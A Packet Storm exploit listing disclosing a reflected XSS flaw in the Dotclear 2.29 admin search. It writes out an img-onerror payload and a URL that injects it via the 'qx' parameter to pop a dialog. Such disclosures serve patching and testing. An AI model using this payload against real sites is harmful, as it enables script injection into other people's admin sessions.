Dotclear version 2.29 suffers from a cross site scripting vulnerability.
48697a04e731c5ea3f3bb5bbf9027809e1f2b25c54b903adb00f897d6247d1e6# Exploit Title: Dotclear Version : 2.29 - Reflected XSS
# Date: 2024-21-02
# Exploit Author: tmrswrr
# Vendor Homepage: https://dotclear.org/
# Version : 2.29
# Tested on: https://softaculous.com/demos/dotclear
1 ) Enter admin panel after write search button this payload : "><img src=x onerrora=confirm() onerror=confirm(1)>
2 ) https://127.0.0.1/Dotclear/admin/index.php?qx="><img src=x onerrora=confirm() onerror=confirm(1)>&process=Search
3 ) You will be see alert button
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed